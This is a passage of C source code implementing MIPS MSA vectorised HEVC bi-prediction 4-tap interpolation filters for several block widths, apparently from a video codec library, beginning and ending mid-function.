ILVR_B2_SB(src3, src2, src4, src3, src32_r, src43_r);
ILVL_B2_SB(src3, src2, src4, src3, src32_l, src43_l);
/* 8width */
LD_SB2(src0_ptr + 16, src_stride, src9, src10);
src0_ptr += (2 * src_stride);
XORI_B2_128_SB(src9, src10);
ILVR_B2_SB(src9, src8, src10, src9, src98_r, src109_r);
/* 16width */
dst0_r = const_vec;
DPADD_SB2_SH(src10_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst0_l = const_vec;
DPADD_SB2_SH(src10_l, src32_l, filt0, filt1, dst0_l, dst0_l);
dst1_r = const_vec;
DPADD_SB2_SH(src21_r, src43_r, filt0, filt1, dst1_r, dst1_r);
dst1_l = const_vec;
DPADD_SB2_SH(src21_l, src43_l, filt0, filt1, dst1_l, dst1_l);
/* 8width */
dst2_r = const_vec;
DPADD_SB2_SH(src76_r, src98_r, filt0, filt1, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB2_SH(src87_r, src109_r, filt0, filt1, dst3_r, dst3_r);
/* 16width */
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst0_l, dst1_l, 7,
dst0_r, dst1_r, dst0_l, dst1_l);
HEVC_BI_RND_CLIP2(in4, in5, dst2_r, dst3_r, 7, dst2_r, dst3_r);
PCKEV_B2_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst0_r, dst1_r);
dst2_r = (v8i16) __msa_pckev_b((v16i8) dst3_r, (v16i8) dst2_r);
ST_SH2(dst0_r, dst1_r, dst, dst_stride);
ST_D2(dst2_r, 0, 1, dst + 16, dst_stride);
dst += (2 * dst_stride);
/* 16width */
LD_SB2(src0_ptr, src_stride, src5, src2);
LD_SH2(src1_ptr, src2_stride, in0, in1);
LD_SH2((src1_ptr + 8), src2_stride, in2, in3);
LD_SH2((src1_ptr + 16), src2_stride, in4, in5);
src1_ptr += (2 * src2_stride);
XORI_B2_128_SB(src5, src2);
ILVR_B2_SB(src5, src4, src2, src5, src10_r, src21_r);
ILVL_B2_SB(src5, src4, src2, src5, src10_l, src21_l);
/* 8width */
LD_SB2(src0_ptr + 16, src_stride, src11, src8);
src0_ptr += (2 * src_stride);
XORI_B2_128_SB(src11, src8);
ILVR_B2_SB(src11, src10, src8, src11, src76_r, src87_r);
/* 16width */
dst0_r = const_vec;
DPADD_SB2_SH(src32_r, src10_r, filt0, filt1, dst0_r, dst0_r);
dst0_l = const_vec;
DPADD_SB2_SH(src32_l, src10_l, filt0, filt1, dst0_l, dst0_l);
dst1_r = const_vec;
DPADD_SB2_SH(src43_r, src21_r, filt0, filt1, dst1_r, dst1_r);
dst1_l = const_vec;
DPADD_SB2_SH(src43_l, src21_l, filt0, filt1, dst1_l, dst1_l);
/* 8width */
dst2_r = const_vec;
DPADD_SB2_SH(src98_r, src76_r, filt0, filt1, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB2_SH(src109_r, src87_r, filt0, filt1, dst3_r, dst3_r);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst0_l, dst1_l, 7,
dst0_r, dst1_r, dst0_l, dst1_l);
HEVC_BI_RND_CLIP2(in4, in5, dst2_r, dst3_r, 7, dst2_r, dst3_r);
PCKEV_B2_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst0_r, dst1_r);
dst2_r = (v8i16) __msa_pckev_b((v16i8) dst3_r, (v16i8) dst2_r);
ST_SH2(dst0_r, dst1_r, dst, dst_stride);
ST_D2(dst2_r, 0, 1, dst + 16, dst_stride);
dst += (2 * dst_stride);
}
}
static void hevc_vt_bi_4t_32w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
uint8_t *dst_tmp = dst + 16;
v16i8 src0, src1, src2, src3, src4, src6, src7, src8, src9, src10;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v16i8 src10_r, src32_r, src76_r, src98_r;
v16i8 src21_r, src43_r, src87_r, src109_r;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r;
v16i8 src10_l, src32_l, src76_l, src98_l;
v16i8 src21_l, src43_l, src87_l, src109_l;
v8i16 dst0_l, dst1_l, dst2_l, dst3_l;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
/* 16width */
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
XORI_B3_128_SB(src0, src1, src2);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
ILVL_B2_SB(src1, src0, src2, src1, src10_l, src21_l);
/* next 16width */
LD_SB3(src0_ptr + 16, src_stride, src6, src7, src8);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src6, src7, src8);
ILVR_B2_SB(src7, src6, src8, src7, src76_r, src87_r);
ILVL_B2_SB(src7, src6, src8, src7, src76_l, src87_l);
for (loop_cnt = (height >> 1); loop_cnt--;) {
/* 16width */
LD_SB2(src0_ptr, src_stride, src3, src4);
LD_SH2(src1_ptr, src2_stride, in0, in1);
LD_SH2((src1_ptr + 8), src2_stride, in2, in3);
LD_SH2((src1_ptr + 16), src2_stride, in4, in5);
LD_SH2((src1_ptr + 24), src2_stride, in6, in7);
src1_ptr += (2 * src2_stride);
XORI_B2_128_SB(src3, src4);
ILVR_B2_SB(src3, src2, src4, src3, src32_r, src43_r);
ILVL_B2_SB(src3, src2, src4, src3, src32_l, src43_l);
/* 16width */
dst0_r = const_vec;
DPADD_SB2_SH(src10_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst0_l = const_vec;
DPADD_SB2_SH(src10_l, src32_l, filt0, filt1, dst0_l, dst0_l);
dst1_r = const_vec;
DPADD_SB2_SH(src21_r, src43_r, filt0, filt1, dst1_r, dst1_r);
dst1_l = const_vec;
DPADD_SB2_SH(src21_l, src43_l, filt0, filt1, dst1_l, dst1_l);
/* 16width */
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst0_l, dst1_l, 7,
dst0_r, dst1_r, dst0_l, dst1_l);
src10_r = src32_r;
src21_r = src43_r;
src10_l = src32_l;
src21_l = src43_l;
src2 = src4;
PCKEV_B2_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst0_r, dst1_r);
ST_SH2(dst0_r, dst1_r, dst, dst_stride);
dst += (2 * dst_stride);
/* next 16width */
LD_SB2(src0_ptr + 16, src_stride, src9, src10);
src0_ptr += (2 * src_stride);
XORI_B2_128_SB(src9, src10);
ILVR_B2_SB(src9, src8, src10, src9, src98_r, src109_r);
ILVL_B2_SB(src9, src8, src10, src9, src98_l, src109_l);
/* next 16width */
dst2_r = const_vec;
DPADD_SB2_SH(src76_r, src98_r, filt0, filt1, dst2_r, dst2_r);
dst2_l = const_vec;
DPADD_SB2_SH(src76_l, src98_l, filt0, filt1, dst2_l, dst2_l);
dst3_r = const_vec;
DPADD_SB2_SH(src87_r, src109_r, filt0, filt1, dst3_r, dst3_r);
dst3_l = const_vec;
DPADD_SB2_SH(src87_l, src109_l, filt0, filt1, dst3_l, dst3_l);
/* next 16width */
HEVC_BI_RND_CLIP4(in4, in5, in6, in7,
dst2_r, dst3_r, dst2_l, dst3_l, 7,
dst2_r, dst3_r, dst2_l, dst3_l);
PCKEV_B2_SH(dst2_l, dst2_r, dst3_l, dst3_r, dst2_r, dst3_r);
ST_SH2(dst2_r, dst3_r, dst_tmp, dst_stride);
dst_tmp += (2 * dst_stride);
src76_r = src98_r;
src87_r = src109_r;
src76_l = src98_l;
src87_l = src109_l;
src8 = src10;
}
}
static void hevc_hv_bi_4t_4x2_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y)
{
uint64_t tp0, tp1;
v16u8 out;
v8i16 in0 = { 0 };
v16i8 src0, src1, src2, src3, src4;
v8i16 filt0, filt1;
v8i16 filt_h0, filt_h1;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr + 16);
v16i8 mask1;
v8i16 filter_vec, const_vec;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5;
v8i16 dst20, dst31, dst42, dst10, dst32, dst21, dst43, tmp;
v4i32 dst0, dst1;
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask1 = mask0 + 2;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
LD_SB5(src0_ptr, src_stride, src0, src1, src2, src3, src4);
XORI_B5_128_SB(src0, src1, src2, src3, src4);
LD2(src1_ptr, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in0);
in0 = __msa_adds_s_h(in0, const_vec);
VSHF_B2_SB(src0, src2, src0, src2, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src3, src1, src3, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src2, src4, src2, src4, mask0, mask1, vec4, vec5);
dst20 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst31 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst42 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
ILVRL_H2_SH(dst31, dst20, dst10, dst32);
ILVRL_H2_SH(dst42, dst31, dst21, dst43);
dst0 = HEVC_FILT_4TAP(dst10, dst32, filt_h0, filt_h1);
dst1 = HEVC_FILT_4TAP(dst21, dst43, filt_h0, filt_h1);
dst0 >>= 6;
dst1 >>= 6;
tmp = __msa_pckev_h((v8i16) dst1, (v8i16) dst0);
tmp = __msa_adds_s_h(tmp, in0);
tmp = __msa_srari_h(tmp, 7);
CLIP_SH_0_255(tmp);
out = (v16u8) __msa_pckev_b((v16i8) tmp, (v16i8) tmp);
ST_W2(out, 0, 1, dst, dst_stride);
}
static void hevc_hv_bi_4t_4x4_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y)
{
uint64_t tp0, tp1;
v16u8 out;
v16i8 src0, src1, src2, src3, src4, src5, src6;
v8i16 filt0, filt1;
v8i16 filt_h0, filt_h1;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr + 16);
v16i8 mask1;
v8i16 filter_vec, const_vec;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v8i16 tmp0, tmp1;
v8i16 in0 = { 0 }, in1 = { 0 };
v8i16 dst30, dst41, dst52, dst63;
v8i16 dst10, dst32, dst54, dst21, dst43, dst65;
v4i32 dst0, dst1, dst2, dst3;
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask1 = mask0 + 2;
LD_SB7(src0_ptr, src_stride, src0, src1, src2, src3, src4, src5, src6);
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in0);
LD2(src1_ptr, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in1);
ADDS_SH2_SH(in0, const_vec, in1, const_vec, in0, in1);
VSHF_B2_SB(src0, src3, src0, src3, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src4, src1, src4, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src2, src5, src2, src5, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src3, src6, src3, src6, mask0, mask1, vec6, vec7);
dst30 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst41 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst52 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dst63 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
ILVRL_H2_SH(dst41, dst30, dst10, dst43);
ILVRL_H2_SH(dst52, dst41, dst21, dst54);
ILVRL_H2_SH(dst63, dst52, dst32, dst65);
dst0 = HEVC_FILT_4TAP(dst10, dst32, filt_h0, filt_h1);
dst1 = HEVC_FILT_4TAP(dst21, dst43, filt_h0, filt_h1);
dst2 = HEVC_FILT_4TAP(dst32, dst54, filt_h0, filt_h1);
dst3 = HEVC_FILT_4TAP(dst43, dst65, filt_h0, filt_h1);
SRA_4V(dst0, dst1, dst2, dst3, 6);
PCKEV_H2_SH(dst1, dst0, dst3, dst2, tmp0, tmp1);
ADDS_SH2_SH(tmp0, in0, tmp1, in1, tmp0, tmp1);
SRARI_H2_SH(tmp0, tmp1, 7);
CLIP_SH2_0_255(tmp0, tmp1);
out = (v16u8) __msa_pckev_b((v16i8) tmp1, (v16i8) tmp0);
ST_W4(out, 0, 1, 2, 3, dst, dst_stride);
}
static void hevc_hv_bi_4t_4multx8mult_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
uint32_t loop_cnt;
uint64_t tp0, tp1;
v16u8 out0, out1;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8, src9, src10;
v8i16 filt0, filt1;
v8i16 filt_h0, filt_h1;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr + 16);
v16i8 mask1;
v8i16 filter_vec, const_vec;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v8i16 tmp0, tmp1, tmp2, tmp3;
v8i16 dst10, dst21, dst22, dst73, dst84, dst95, dst106;
v8i16 dst10_r, dst32_r, dst54_r, dst76_r;
v8i16 dst21_r, dst43_r, dst65_r, dst87_r;
v8i16 dst98_r, dst109_r;
v8i16 in0 = { 0 }, in1 = { 0 }, in2 = { 0 }, in3 = { 0 };
v4i32 dst0_r, dst1_r, dst2_r, dst3_r, dst4_r, dst5_r, dst6_r, dst7_r;
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask1 = mask0 + 2;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
VSHF_B2_SB(src0, src1, src0, src1, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src2, src1, src2, mask0, mask1, vec2, vec3);
dst10 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst21 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
ILVRL_H2_SH(dst21, dst10, dst10_r, dst21_r);
dst22 = (v8i16) __msa_splati_d((v2i64) dst21, 1);
for (loop_cnt = height >> 3; loop_cnt--;) {
LD_SB8(src0_ptr, src_stride,
src3, src4, src5, src6, src7, src8, src9, src10);
src0_ptr += (8 * src_stride);
XORI_B8_128_SB(src3, src4, src5, src6, src7, src8, src9, src10);
VSHF_B2_SB(src3, src7, src3, src7, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src4, src8, src4, src8, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src5, src9, src5, src9, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src6, src10, src6, src10, mask0, mask1, vec6, vec7);
dst73 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst84 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst95 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dst106 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
dst32_r = __msa_ilvr_h(dst73, dst22);
ILVRL_H2_SH(dst84, dst73, dst43_r, dst87_r);
ILVRL_H2_SH(dst95, dst84, dst54_r, dst98_r);
ILVRL_H2_SH(dst106, dst95, dst65_r, dst109_r);
dst22 = (v8i16) __msa_splati_d((v2i64) dst73, 1);
dst76_r = __msa_ilvr_h(dst22, dst106);
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in0);
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in1);
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in2);
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in3);
ADDS_SH4_SH(in0, const_vec, in1, const_vec, in2, const_vec, in3,
const_vec, in0, in1, in2, in3);
dst0_r = HEVC_FILT_4TAP(dst10_r, dst32_r, filt_h0, filt_h1);
dst1_r = HEVC_FILT_4TAP(dst21_r, dst43_r, filt_h0, filt_h1);
dst2_r = HEVC_FILT_4TAP(dst32_r, dst54_r, filt_h0, filt_h1);
dst3_r = HEVC_FILT_4TAP(dst43_r, dst65_r, filt_h0, filt_h1);
dst4_r = HEVC_FILT_4TAP(dst54_r, dst76_r, filt_h0, filt_h1);
dst5_r = HEVC_FILT_4TAP(dst65_r, dst87_r, filt_h0, filt_h1);
dst6_r = HEVC_FILT_4TAP(dst76_r, dst98_r, filt_h0, filt_h1);
dst7_r = HEVC_FILT_4TAP(dst87_r, dst109_r, filt_h0, filt_h1);
SRA_4V(dst0_r, dst1_r, dst2_r, dst3_r, 6);
SRA_4V(dst4_r, dst5_r, dst6_r, dst7_r, 6);
PCKEV_H4_SH(dst1_r, dst0_r, dst3_r, dst2_r,
dst5_r, dst4_r, dst7_r, dst6_r, tmp0, tmp1, tmp2, tmp3);
ADDS_SH4_SH(in0, tmp0, in1, tmp1, in2, tmp2, in3, tmp3, tmp0, tmp1,
tmp2, tmp3);
SRARI_H4_SH(tmp0, tmp1, tmp2, tmp3, 7);
CLIP_SH4_0_255(tmp0, tmp1, tmp2, tmp3);
PCKEV_B2_UB(tmp1, tmp0, tmp3, tmp2, out0, out1);
ST_W8(out0, out1, 0, 1, 2, 3, 0, 1, 2, 3, dst, dst_stride);
dst += (8 * dst_stride);
dst10_r = dst98_r;
dst21_r = dst109_r;
dst22 = (v8i16) __msa_splati_d((v2i64) dst106, 1);
}
}
static void hevc_hv_bi_4t_4w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
if (2 == height) {
hevc_hv_bi_4t_4x2_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y);
} else if (4 == height) {
hevc_hv_bi_4t_4x4_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y);
} else if (0 == (height % 8)) {
hevc_hv_bi_4t_4multx8mult_msa(src0_ptr, src_stride,
src1_ptr, src2_stride,
dst, dst_stride,
filter_x, filter_y, height);
}
}
static void hevc_hv_bi_4t_6w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
uint32_t tpw0, tpw1, tpw2, tpw3;
uint64_t tp0, tp1;
v16u8 out0, out1, out2;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8, src9, src10;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v8i16 filt0, filt1;
v8i16 filt_h0, filt_h1;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr);
v16i8 mask1;
v8i16 filter_vec, const_vec;
v8i16 dsth0, dsth1, dsth2, dsth3, dsth4, dsth5, dsth6, dsth7, dsth8, dsth9;
v8i16 dsth10, tmp4, tmp5;
v4i32 dst0_r, dst0_l, dst1_r, dst1_l, dst2_r, dst2_l, dst3_r, dst3_l;
v4i32 dst4_r, dst5_r, dst6_r, dst7_r;
v8i16 tmp0, tmp1, tmp2, tmp3;
v8i16 dst10_r, dst32_r, dst21_r, dst43_r;
v8i16 dst10_l, dst32_l, dst21_l, dst43_l;
v8i16 dst54_r, dst76_r, dst98_r, dst65_r, dst87_r, dst109_r;
v8i16 dst54_l, dst76_l, dst98_l, dst65_l, dst87_l, dst109_l;
v8i16 dst1021_l, dst3243_l, dst5465_l, dst7687_l, dst98109_l;
v8i16 in0 = { 0 }, in1 = { 0 }, in2 = { 0 }, in3 = { 0 };
v8i16 in4 = { 0 }, in5 = { 0 };
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask1 = mask0 + 2;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
VSHF_B2_SB(src0, src0, src0, src0, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src1, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src2, src2, src2, src2, mask0, mask1, vec4, vec5);
dsth0 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dsth1 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dsth2 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
ILVRL_H2_SH(dsth1, dsth0, dst10_r, dst10_l);
ILVRL_H2_SH(dsth2, dsth1, dst21_r, dst21_l);
LD_SB8(src0_ptr, src_stride,
src3, src4, src5, src6, src7, src8, src9, src10);
XORI_B8_128_SB(src3, src4, src5, src6, src7, src8, src9, src10);
VSHF_B2_SB(src3, src3, src3, src3, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src4, src4, src4, src4, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src5, src5, src5, src5, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src6, src6, src6, src6, mask0, mask1, vec6, vec7);
dsth3 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dsth4 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dsth5 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dsth6 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
VSHF_B2_SB(src7, src7, src7, src7, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src8, src8, src8, src8, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src9, src9, src9, src9, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src10, src10, src10, src10, mask0, mask1, vec6, vec7);
dsth7 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dsth8 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dsth9 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dsth10 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
ILVRL_H2_SH(dsth3, dsth2, dst32_r, dst32_l);
ILVRL_H2_SH(dsth4, dsth3, dst43_r, dst43_l);
ILVRL_H2_SH(dsth5, dsth4, dst54_r, dst54_l);
ILVRL_H2_SH(dsth6, dsth5, dst65_r, dst65_l);
ILVRL_H2_SH(dsth7, dsth6, dst76_r, dst76_l);
ILVRL_H2_SH(dsth8, dsth7, dst87_r, dst87_l);
ILVRL_H2_SH(dsth9, dsth8, dst98_r, dst98_l);
ILVRL_H2_SH(dsth10, dsth9, dst109_r, dst109_l);
PCKEV_D2_SH(dst21_l, dst10_l, dst43_l, dst32_l, dst1021_l, dst3243_l);
PCKEV_D2_SH(dst65_l, dst54_l, dst87_l, dst76_l, dst5465_l, dst7687_l);
dst98109_l = (v8i16) __msa_pckev_d((v2i64) dst109_l, (v2i64) dst98_l);
dst0_r = HEVC_FILT_4TAP(dst10_r, dst32_r, filt_h0, filt_h1);
dst1_r = HEVC_FILT_4TAP(dst21_r, dst43_r, filt_h0, filt_h1);
dst2_r = HEVC_FILT_4TAP(dst32_r, dst54_r, filt_h0, filt_h1);
dst3_r = HEVC_FILT_4TAP(dst43_r, dst65_r, filt_h0, filt_h1);
dst4_r = HEVC_FILT_4TAP(dst54_r, dst76_r, filt_h0, filt_h1);
dst5_r = HEVC_FILT_4TAP(dst65_r, dst87_r, filt_h0, filt_h1);
dst6_r = HEVC_FILT_4TAP(dst76_r, dst98_r, filt_h0, filt_h1);
dst7_r = HEVC_FILT_4TAP(dst87_r, dst109_r, filt_h0, filt_h1);
dst0_l = HEVC_FILT_4TAP(dst1021_l, dst3243_l, filt_h0, filt_h1);
dst1_l = HEVC_FILT_4TAP(dst3243_l, dst5465_l, filt_h0, filt_h1);
dst2_l = HEVC_FILT_4TAP(dst5465_l, dst7687_l, filt_h0, filt_h1);
dst3_l = HEVC_FILT_4TAP(dst7687_l, dst98109_l, filt_h0, filt_h1);
SRA_4V(dst0_r, dst1_r, dst2_r, dst3_r, 6);
SRA_4V(dst4_r, dst5_r, dst6_r, dst7_r, 6);
SRA_4V(dst0_l, dst1_l, dst2_l, dst3_l, 6);
PCKEV_H2_SH(dst1_r, dst0_r, dst3_r, dst2_r, tmp0, tmp1);
PCKEV_H2_SH(dst5_r, dst4_r, dst7_r, dst6_r, tmp2, tmp3);
PCKEV_H2_SH(dst1_l, dst0_l, dst3_l, dst2_l, tmp4, tmp5);
LD2(src1_ptr, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in0);
LD2(src1_ptr + 2 * src2_stride, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in1);
LD2(src1_ptr + 4 * src2_stride, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in2);
LD2(src1_ptr + 6 * src2_stride, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in3);
ADDS_SH4_SH(in0, const_vec, in1, const_vec, in2, const_vec, in3, const_vec,
in0, in1, in2, in3);
ADDS_SH4_SH(in0, tmp0, in1, tmp1, in2, tmp2, in3, tmp3, tmp0, tmp1, tmp2,
tmp3);
SRARI_H4_SH(tmp0, tmp1, tmp2, tmp3, 7);
CLIP_SH4_0_255(tmp0, tmp1, tmp2, tmp3);
PCKEV_B2_UB(tmp1, tmp0, tmp3, tmp2, out0, out1);
ST_W8(out0, out1, 0, 1, 2, 3, 0, 1, 2, 3, dst, dst_stride);
LW4(src1_ptr + 4, src2_stride, tpw0, tpw1, tpw2, tpw3);
src1_ptr += (4 * src2_stride);
INSERT_W4_SH(tpw0, tpw1, tpw2, tpw3, in4);
LW4(src1_ptr + 4, src2_stride, tpw0, tpw1, tpw2, tpw3);
INSERT_W4_SH(tpw0, tpw1, tpw2, tpw3, in5);
ADDS_SH2_SH(in4, const_vec, in5, const_vec, in4, in5);
ADDS_SH2_SH(in4, tmp4, in5, tmp5, tmp4, tmp5);
SRARI_H2_SH(tmp4, tmp5, 7);
CLIP_SH2_0_255(tmp4, tmp5);
out2 = (v16u8) __msa_pckev_b((v16i8) tmp5, (v16i8) tmp4);
ST_H8(out2, 0, 1, 2, 3, 4, 5, 6, 7, dst + 4, dst_stride);
}
static void hevc_hv_bi_4t_8x2_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y)
{
v16u8 out;
v16i8 src0, src1, src2, src3, src4;
v8i16 filt0, filt1;
v8i16 filt_h0, filt_h1;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr);
v16i8 mask1;
v8i16 filter_vec, const_vec;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7, vec8, vec9;
v8i16 dst0, dst1, dst2, dst3, dst4;
v4i32 dst0_r, dst0_l, dst1_r, dst1_l;
v8i16 dst10_r, dst32_r, dst21_r, dst43_r;
v8i16 dst10_l, dst32_l, dst21_l, dst43_l;
v8i16 tmp0, tmp1;
v8i16 in0, in1;
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask1 = mask0 + 2;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
LD_SB5(src0_ptr, src_stride, src0, src1, src2, src3, src4);
XORI_B5_128_SB(src0, src1, src2, src3, src4);
LD_SH2(src1_ptr, src2_stride, in0, in1);
ADDS_SH2_SH(in0, const_vec, in1, const_vec, in0, in1);
VSHF_B2_SB(src0, src0, src0, src0, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src1, mask0, mask1, vec2, vec3);
